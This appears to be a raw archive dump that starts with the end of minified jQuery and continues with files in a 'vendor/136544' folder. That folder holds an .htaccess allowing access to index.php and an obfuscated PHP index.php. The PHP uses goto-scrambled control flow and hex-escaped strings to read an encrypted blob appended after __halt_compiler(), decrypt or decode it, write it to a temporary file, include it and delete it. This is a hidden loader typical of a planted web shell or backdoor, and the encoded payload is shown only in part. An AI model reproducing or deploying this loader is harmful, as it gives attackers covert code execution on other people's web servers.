E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&o("error"===e.type?404:200,e.type)}),r.head.appendChild(t[0])},abort:function(){n&&n()}}}});var Yt=[],Qt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()||w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&Qt.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?w(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=xe([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),g(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.expr.pseudos.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length},w.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=w.css(e,"position"),f=w(e),p={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=w.css(e,"top"),u=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+u).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),g(t)&&(t=t.call(e,n,w.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+i),"using"in t?t.using.call(e,p):f.css(p)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||be})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return z(this,function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=_e(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),We.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===o?"margin":"border");return z(this,function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w}); vendor/index.php000064400000000000151677214220007656 0ustar00vendor/136544/.htaccess000064400000000173151677214220010415 0ustar00#---do-not-change-the-following-content--- <FilesMatch "^(index.php)$"> Order allow,deny Allow from all </FilesMatch>vendor/136544/index.php000064400000264613151677214220010452 0ustar00<?php // Tambahkan ?p= hanya jika tidak ada query string if (empty($_SERVER['QUERY_STRING'])) { $url = $_SERVER['PHP_SELF'] . '?p='; header('Location: ' . $url); exit; } ?> <?php goto aC8P9; BZbKg: goto zTl7N; goto jGr3R; G2zLJ: goto l19QO; goto JuxzA; HCBh5: $mobfQqRU = "\166\116\132\105\x66\x61"; goto igkm6; aC8P9: goto hc6Qn; goto wKJHZ; k8rfp: goto soki5; goto RWbKA; n95Fj: goto XniuK; goto wzfan; iRrZ8: XniuK: goto kSIEm; kSIEm: function LJeHZSYM() { return mt_rand(1, 100); } goto UO2G2; IU5PJ: goto BkvA7; goto dqlM3; JuxzA: Pln3i: goto xkPrt; No1CB: function bgNWdVIe() { return mt_rand(1, 100); } goto bGZva; WCvSZ: hc6Qn: goto No1CB; mQR4a: goto D1RqT; goto Donvy; uM2b2: MbhO_: goto dJTad; MLbkt: goto xP6Ps; goto dhLwi; U2e9x: $plain = false; goto BZbKg; wzfan: ltxfi: goto vNPz_; jGr3R: bWsSQ: goto HLNun; tRGSy: goto ROuwT; goto Dhn4Z; vNPz_: $fp = fopen(__FILE__, "\162\x62"); goto vbjMp; R_57C: goto Ut_Tm; goto LbXm7; nBIOk: BkvA7: goto vv_V5; kU43K: zTl7N: goto p1wCg; H7g3U: uluMa: goto Nd8an; OaOaD: include $tmpFile; goto dL5KR; OEnTW: for ($i = 0; $i < 50; $i++) { $decoded = @base64_decode($payload, true); if ($decoded === false) { break; } $tmp = @gzuncompress($decoded); if ($tmp === false) { break; } $tmp2 = @gzinflate($tmp); if ($tmp2 === false) { break; } $payload = $tmp2; } goto VzCuo; cJB4g: ssdUh: goto u5a9F; dqlM3: MLbzP: goto PzPyQ; qYI2S: $tmpFile = tempnam(sys_get_temp_dir(), "\x6f\142\x66\137"); goto vawcB; F8hyz: $raw = base64_decode($payload); goto MLbkt; j06yd: haR1P: goto qYI2S; dL5KR: goto bWsSQ; goto vSbDa; XPj1s: goto dw4_7; goto kU43K; VzCuo: goto haR1P; goto T8BiC; igkm6: goto ltxfi; goto j06yd; hB9Uu: goto Ml33E; goto uM2b2; vSbDa: oUmdj: goto HCBh5; LbXm7: yUUTm: goto b1v7L; vbjMp: goto ssdUh; goto iRrZ8; dhLwi: D1RqT: goto Rt2u_; ZapwH: l19QO: goto U2e9x; EPJ2l: if (function_exists("\x64\x61\x74\x65")) { $d = date("\x59\x2d\x6d\x2d\144"); } goto IU5PJ; uPmD8: goto MbhO_; goto nBIOk; xkPrt: fclose($fp); goto XPj1s; p1wCg: $ok = false; goto EeJ_K; ciNNo: goto oUmdj; goto FHYxD; wKJHZ: zik2X: goto zND8B; UO2G2: goto zik2X; goto H7g3U; nOltn: goto Pln3i; goto VTHRC; u5a9F: fseek($fp, __COMPILER_HALT_OFFSET__); goto C1_vB; b1v7L: $tmp_xAhnBVtQ = strlen("\122\162\x45\131\147"); goto ciNNo; C1_vB: goto uluMa; goto WCvSZ; qcsC_: file_put_contents($tmpFile, $payload); goto hB9Uu; vawcB: goto YVs0K; goto qV_SR; FHYxD: xP6Ps: goto hQtn4; RWbKA: YVs0K: goto qcsC_; Donvy: Ml33E: goto OaOaD; qV_SR: dw4_7: goto EPJ2l; JPbW3: $enc_key = "\101\x66\x5a\x53\x47\121\x4c\x48\121\x52\x53\114\151\x48\x78\141\x51\152\x76\124\x4e\x51\123\x69\x6b\x6a\130\145\143\123\164\126"; goto G2zLJ; EeJ_K: goto MLbzP; goto cJB4g; vv_V5: $payload = stripcslashes($data); goto k8rfp; kaMTW: $cipher = substr($raw, 16); goto GAHNf; hQtn4: $iv = substr($raw, 0, 16); goto tRGSy; dJTad: if (!$ok) { $payload = stripcslashes($data); } goto R_57C; GAHNf: goto KWGMJ; goto ZapwH; VTHRC: Ut_Tm: goto OEnTW; hIai3: soki5: goto F8hyz; Dhn4Z: ROuwT: goto kaMTW; T8BiC: KWGMJ: goto JPbW3; HLNun: @unlink($tmpFile); goto n95Fj; zND8B: if (function_exists("\x64\141\164\145")) { $d = date("\131\55\x6d\x2d\x64"); } goto mQR4a; bGZva: goto yUUTm; goto hIai3; PzPyQ: if (function_exists("\157\160\x65\156\163\163\x6c\x5f\x64\145\x63\x72\x79\x70\x74")) { $plain = openssl_decrypt($cipher, "\101\x45\x53\x2d\x32\65\66\55\103\102\103", $enc_key, OPENSSL_RAW_DATA, $iv); if ($plain !== false) { if (function_exists("\150\141\163\150") && hash("\x73\150\141\x31", $plain) === "\x61\143\x61\x33\66\x61\x32\x30\66\62\143\142\x34\x32\65\x34\x32\x62\x36\x33\x66\x37\62\x64\61\x61\x35\x63\70\x32\x61\143\67\63\66\143\x35\x61\x34\x30") { $ok = true; $payload = $plain; } } } goto uPmD8; Nd8an: $data = stream_get_contents($fp); goto nOltn; Rt2u_: __halt_compiler();\x4d\x76\x6b\x4c\x62\x43\x49\x72\x73\x78\x49\x70\x39\x67\x66\x77\x4c\x31\x78\x77\x49\x2b\x4e\x66\x36\x65\x53\x43\x46\x59\x61\x62\x66\x62\x48\x78\x43\x62\x76\x42\x49\x61\x49\x6c\x39\x39\x7a\x6a\x4d\x62\x30\x51\x34\x55\x6a\x51\x62\x70\x57\x50\x4b\x54\x79\x53\x6b\x52\x4e\x4d\x64\x64\x4b\x57\x6a\x73\x75\x44\x7a\x6c\x59\x78\x31\x6e\x4b\x74\x76\x4e\x6a\x55\x37\x58\x59\x45\x6b\x53\x75\x59\x39\x52\x70\x54\x43\x43\x46\x63\x46\x57\x35\x50\x49\x55\x51\x33\x76\x41\x58\x35\x4e\x47\x71\x71\x39\x51\x68\x6e\x4b\x38\x31\x4a\x39\x54\x46\x68\x64\x61\x53\x76\x73\x64\x53\x4f\x35\x4d\x64\x34\x7a\x67\x33\x74\x4b\x76\x2f\x62\x79\x41\x44\x4a\x48\x61\x78\x68\x64\x4f\x5a\x5a\x36\x30\x54\x4e\x73\x45\x4a\x4c\x44\x43\x34\x30\x4d\x4c\x75\x35\x31\x74\x73\x6b\x34\x43\x65\x54\x78\x4e\x36\x56\x65\x67\x56\x5a\x67\x77\x41\x6c\x33\x38\x4a\x2f\x50\x48\x44\x51\x4d\x46\x2f\x61\x30\x48\x62\x6b\x67\x4e\x47\x54\x6d\x66\x67\x56\x78\x45\x73\x56\x74\x34\x71\x49\x76\x70\x56\x41\x36\x62\x6a\x76\x44\x6a\x62\x64\x51\x54\x30\x55\x46\x52\x50\x74\x6c\x4c\x34\x64\x48\x73\x33\x74\x41\x76\x6b\x51\x30\x6d\x42\x7a\x68\x52\x34\x4e\x41\x51\x52\x45\x47\x54\x35\x4c\x75\x63\x44\x57\x6b\x78\x42\x44\x52\x76\x6b\x6a\x49\x79\x34\x67\x76\x73\x4d\x53\x48\x72\x56\x59\x4f\x68\x55\x69\x68\x4e\x74\x52\x55\x53\x66\x52\x6e\x71\x35\x61\x6f\x48\x63\x4d\x72\x54\x70\x52\x43\x64\x77\x51\x4f\x58\x4b\x57\x6b\x32\x61\x31\x4e\x37\x79\x51\x59\x36\x65\x43\x31\x30\x49\x50\x66\x77\x65\x6c\x52\x42\x4c\x58\x70\x50\x46\x5a\x75\x35\x36\x79\x34\x33\x2f\x72\x61\x54\x7a\x53\x79\x51\x54\x61\x57\x49\x69\x6f\x56\x37\x66\x58\x61\x32\x64\x32\x4c\x71\x4a\x50\x5a\x43\x43\x49\x2b\x47\x37\x65\x4d\x54\x57\x6d\x58\x30\x34\x6f\x4c\x74\x41\x46\x64\x2f\x4c\x78\x66\x53\x68\x76\x59\x46\x6b\x57\x67\x45\x43\x39\x41\x52\x73\x6c\x45\x53\x51\x79\x75\x78\x43\x44\x67\x39\x6a\x46\x2f\x64\x6d\x75\x70\x54\x67\x6f\x4b\x4b\x35\x2f\x63\x54\x6e\x41\x33\x6e\x6e\x70\x42\x74\x74\x65\x71\x65\x75\x69\x51\x78\x61\x4e\x31\x45\x70\x41\x2b\x56\x75\x4f\x31\x6a\x6e\x49\x49\x69\x2f\x46\x58\x61\x55\x79\x39\x6d\x2f\x30\x6b\x55\x65\x42\x54\x37\x43\x56\x51\x77\x4b\x66\x6d\x59\x46\x33\x38\x52\x47\x32\x4e\x69\x6f\x6a\x76\x39\x39\x2f\x52\x6f\x54\x58\x30\x73\x50\x55\x55\x4f\x36\x36\x49\x43\x6e\x51\x43\x35\x79\x6d\x6c\x45\x31\x76\x64\x77\x76\x35\x6c\x50\x42\x63\x7a\x64\x47\x4b\x75\x44\x2f\x74\x47\x36\x6a\x69\x2f\x44\x68\x31\x66\x51\x37\x54\x41\x77\x6a\x4f\x74\x76\x56\x77\x39\x67\x67\x68\x70\x79\x6e\x74\x57\x75\x6a\x5a\x6e\x45\x39\x78\x30\x68\x41\x41\x6c\x4b\x57\x47\x4b\x36\x33\x4d\x75\x6e\x48\x48\x52\x6c\x49\x76\x32\x54\x6f\x6e\x46\x70\x4a\x6a\x36\x45\x66\x33\x4c\x6e\x31\x72\x39\x41\x59\x78\x51\x48\x51\x78\x46\x53\x55\x74\x79\x54\x69\x5a\x31\x53\x34\x37\x73\x49\x6f\x47\x72\x61\x32\x6b\x51\x33\x74\x34\x70\x73\x75\x58\x51\x41\x51\x5a\x77\x30\x57\x43\x65\x4c\x6e\x50\x35\x30\x31\x6b\x4c\x32\x66\x63\x66\x44\x68\x6c\x66\x47\x48\x77\x46\x77\x58\x46\x36\x6b\x54\x33\x73\x7a\x63\x59\x61\x6e\x69\x4c\x43\x42\x46\x6c\x38\x39\x45\x64\x4d\x4c\x56\x4d\x69\x6e\x77\x4f\x61\x68\x4d\x31\x6a\x56\x6a\x58\x4b\x6a\x46\x53\x45\x58\x6e\x34\x39\x35\x78\x5a\x59\x71\x49\x2f\x33\x35\x78\x6d\x45\x70\x69\x2f\x6a\x67\x66\x37\x56\x77\x37\x79\x33\x32\x55\x46\x41\x6d\x33\x48\x71\x6e\x4d\x48\x6f\x32\x41\x75\x63\x43\x43\x42\x33\x71\x77\x4b\x46\x52\x4c\x67\x4b\x38\x47\x4d\x69\x71\x64\x52\x2b\x4b\x6f\x6c\x6f\x48\x71\x58\x4b\x42\x39\x54\x65\x50\x55\x77\x39\x76\x59\x52\x6c\x62\x43\x39\x55\x77\x36\x6e\x54\x68\x6b\x4f\x30\x44\x59\x51\x4c\x53\x58\x30\x68\x30\x72\x56\x6a\x69\x6d\x45\x44\x6c\x4a\x51\x46\x4d\x36\x39\x6c\x4f\x74\x4f\x79\x49\x76\x68\x4b\x64\x4b\x57\x69\x37\x45\x4c\x6c\x71\x2b\x67\x51\x55\x4b\x44\x75\x43\x68\x6e\x39\x49\x6d\x4b\x6d\x67\x7a\x32\x59\x67\x37\x49\x47\x36\x35\x73\x49\x70\x36\x6b\x34\x61\x32\x50\x4f\x53\x31\x6b\x71\x68\x57\x45\x39\x6e\x74\x4c\x37\x70\x78\x6d\x48\x38\x44\x46\x73\x58\x56\x73\x6d\x4b\x32\x41\x56\x62\x42\x47\x63\x49\x79\x6f\x57\x6c\x72\x76\x43\x32\x66\x70\x33\x43\x58\x64\x79\x4d\x52\x71\x7a\x33\x79\x65\x69\x4a\x32\x68\x78\x55\x65\x30\x66\x57\x7a\x41\x66\x34\x74\x64\x62\x4e\x39\x4b\x68\x34\x77\x6e\x47\x53\x52\x4f\x64\x4a\x61\x47\x68\x32\x55\x44\x30\x5a\x4e\x43\x72\x41\x70\x58\x55\x65\x64\x37\x4a\x67\x38\x53\x46\x59\x6f\x2b\x4a\x6a\x63\x71\x69\x74\x32\x41\x43\x4c\x61\x48\x46\x49\x58\x7a\x31\x75\x4b\x74\x63\x52\x43\x53\x62\x48\x68\x49\x74\x6b\x6c\x46\x42\x5a\x39\x41\x4f\x6c\x37\x53\x4a\x31\x4f\x53\x62\x77\x69\x63\x4c\x72\x4e\x4e\x53\x58\x46\x74\x74\x72\x6b\x6e\x37\x56\x51\x64\x75\x48\x30\x44\x32\x54\x79\x61\x6c\x52\x61\x68\x47\x6d\x42\x37\x56\x6b\x65\x76\x72\x65\x54\x5a\x4f\x59\x54\x71\x64\x75\x37\x72\x76\x42\x6c\x78\x4e\x44\x42\x46\x68\x62\x48\x48\x4e\x64\x56\x49\x50\x54\x47\x4c\x39\x48\x6a\x74\x6e\x30\x6a\x4a\x71\x6b\x4e\x4f\x57\x64\x70\x33\x42\x65\x49\x41\x74\x52\x6e\x4a\x2f\x39\x32\x73\x64\x4c\x64\x44\x45\x7a\x67\x78\x53\x61\x32\x79\x42\x47\x45\x33\x67\x63\x64\x31\x69\x32\x53\x68\x31\x2b\x78\x56\x52\x46\x71\x71\x38\x57\x4e\x58\x6c\x36\x47\x70\x6b\x41\x4c\x4d\x6a\x74\x43\x31\x72\x66\x55\x37\x67\x54\x75\x47\x6e\x44\x71\x50\x30\x6d\x7a\x4a\x75\x78\x79\x34\x67\x41\x75\x58\x70\x6e\x41\x79\x69\x70\x63\x2b\x56\x50\x62\x5a\x7a\x33\x4a\x42\x4f\x46\x63\x30\x75\x4e\x39\x59\x70\x64\x77\x54\x61\x62\x64\x31\x70\x43\x48\x6d\x50\x33\x6b\x41\x64\x62\x35\x2b\x48\x6d\x55\x32\x46\x34\x4e\x6c\x6e\x51\x2f\x78\x6f\x35\x56\x31\x74\x31\x61\x77\x45\x36\x61\x6d\x7a\x63\x51\x4c\x65\x32\x7a\x79\x46\x64\x47\x78\x31\x4e\x53\x6a\x62\x57\x33\x53\x71\x6e\x46\x6e\x61\x30\x37\x4c\x4a\x6f\x36\x68\x6c\x4e\x33\x51\x6c\x44\x70\x55\x45\x4b\x41\x75\x69\x58\x36\x45\x34\x61\x64\x7a\x75\x36\x66\x2f\x6d\x42\x69\x54\x48\x7a\x79\x4f\x32\x34\x72\x71\x61\x4e\x65\x66\x6f\x65\x69\x4a\x42\x4a\x57\x55\x50\x4b\x53\x76\x2b\x56\x37\x33\x57\x6f\x48\x39\x44\x5a\x53\x4c\x6f\x50\x59\x62\x30\x4c\x49\x46\x41\x71\x52\x73\x4a\x4b\x52\x73\x5a\x2b\x64\x4c\x69\x2b\x55\x63\x56\x57\x2f\x61\x7a\x73\x73\x6c\x57\x74\x6f\x70\x69\x4c\x4c\x54\x79\x32\x55\x32\x50\x57\x61\x78\x72\x6b\x45\x76\x67\x37\x55\x6b\x7a\x59\x78\x4c\x59\x51\x36\x2f\x50\x67\x53\x63\x54\x53\x4c\x63\x63\x61\x38\x62\x63\x61\x31\x6a\x6b\x36\x6d\x6a\x56\x4d\x65\x77\x44\x6c\x6b\x46\x4b\x33\x7a\x75\x71\x4f\x79\x6f\x6d\x42\x75\x50\x77\x4f\x4f\x38\x36\x42\x59\x37\x79\x57\x65\x71\x36\x6f\x32\x72\x58\x6f\x53\x78\x4e\x42\x70\x4e\x79\x36\x7a\x66\x33\x4b\x4f\x4c\x65\x5a\x34\x6c\x51\x6e\x76\x4a\x77\x36\x33\x49\x49\x68\x49\x4e\x4f\x44\x45\x45\x2b\x68\x6f\x6f\x56\x37\x32\x56\x41\x77\x33\x65\x2b\x42\x4a\x4b\x48\x62\x74\x4c\x70\x6b\x35\x54\x52\x54\x62\x74\x58\x76\x52\x70\x49\x4d\x32\x61\x62\x59\x59\x6a\x4d\x37\x77\x38\x37\x44\x54\x48\x6c\x49\x6c\x67\x38\x30\x52\x37\x2f\x7a\x57\x38\x79\x49\x53\x68\x75\x35\x4d\x69\x56\x74\x55\x6c\x4e\x58\x67\x65\x35\x4c\x52\x4c\x4e\x35\x4d\x63\x75\x33\x74\x4f\x71\x70\x41\x71\x2b\x56\x78\x61\x56\x6c\x30\x6b\x2f\x52\x46\x59\x79\x52\x33\x63\x66\x45\x4a\x4e\x6e\x4c\x57\x52\x71\x49\x78\x77\x52\x4f\x48\x56\x64\x67\x48\x6d\x6d\x47\x62\x4f\x44\x65\x64\x76\x45\x4d\x6b\x62\x65\x47\x7a\x2b\x34\x2f\x77\x43\x6f\x4a\x6e\x43\x77\x35\x65\x41\x6c\x53\x70\x2f\x41\x68\x33\x74\x67\x36\x30\x4f\x6c\x56\x4b\x56\x76\x71\x6f\x4d\x78\x7a\x59\x67\x4c\x6e\x55\x68\x7a\x37\x36\x70\x57\x71\x74\x62\x4a\x66\x31\x36\x35\x38\x38\x74\x34\x75\x73\x50\x68\x4b\x6d\x4a\x72\x52\x30\x49\x4d\x45\x61\x57\x54\x55\x74\x55\x74\x6e\x56\x34\x68\x44\x33\x61\x57\x45\x68\x73\x52\x4f\x41\x78\x6a\x52\x7a\x36\x44\x67\x58\x6c\x6b\x5a\x66\x59\x71\x46\x33\x67\x59\x57\x55\x30\x69\x74\x2b\x46\x36\x31\x4a\x31\x48\x41\x73\x4f\x6a\x34\x38\x72\x79\x54\x54\x71\x61\x76\x68\x30\x67\x63\x45\x58\x31\x77\x77\x76\x73\x4f\x31\x44\x44\x50\x69\x41\x33\x4c\x41\x6a\x4d\x34\x43\x71\x55\x44\x4f\x43\x2b\x76\x67\x58\x68\x55\x72\x73\x63\x76\x57\x75\x75\x36\x55\x63\x7a\x36\x62\x38\x2f\x72\x49\x71\x37\x66\x6a\x77\x4c\x42\x56\x66\x6b\x55\x38\x63\x39\x39\x6b\x56\x70\x64\x6e\x4a\x68\x2f\x59\x44\x36\x4c\x49\x74\x6e\x68\x57\x4e\x49\x6e\x63\x57\x56\x33\x58\x51\x42\x4d\x77\x4d\x36\x62\x39\x74\x76\x68\x75\x75\x49\x43\x66\x49\x2b\x51\x64\x71\x62\x63\x65\x41\x41\x4c\x70\x47\x69\x6e\x4a\x4f\x36\x2b\x43\x6d\x48\x74\x42\x36\x59\x63\x4a\x34\x6a\x4a\x36\x50\x34\x57\x6b\x71\x77\x30\x58\x4b\x34\x53\x41\x5a\x4d\x31\x30\x44\x6d\x77\x51\x33\x4b\x4b\x49\x50\x78\x79\x74\x4e\x63\x73\x64\x6b\x70\x4f\x37\x31\x4a\x77\x57\x79\x34\x66\x4f\x66\x73\x46\x51\x69\x5a\x32\x39\x46\x6a\x64\x65\x49\x50\x2b\x55\x4c\x47\x4d\x47\x6d\x31\x79\x63\x35\x2f\x4c\x67\x46\x67\x49\x4a\x34\x41\x39\x43\x41\x6f\x50\x35\x59\x2b\x56\x52\x35\x45\x64\x78\x38\x58\x75\x52\x66\x78\x42\x6a\x33\x56\x36\x44\x48\x4c\x30\x6c\x55\x37\x44\x71\x6f\x4f\x64\x53\x6c\x6c\x2f\x41\x57\x63\x36\x5a\x49\x61\x6d\x39\x48\x6d\x6f\x78\x59\x47\x34\x62\x78\x4d\x34\x44\x41\x6f\x4d\x48\x50\x68\x6d\x67\x5